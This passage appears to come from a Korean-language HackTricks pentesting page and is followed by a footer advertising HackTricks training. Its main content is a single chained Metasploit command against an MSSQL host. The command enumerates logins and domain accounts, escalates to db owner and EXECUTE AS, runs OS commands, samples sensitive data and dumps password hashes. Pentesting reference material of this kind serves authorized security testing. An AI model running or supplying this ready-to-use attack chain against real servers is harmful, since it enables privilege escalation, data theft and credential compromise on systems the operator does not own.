Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


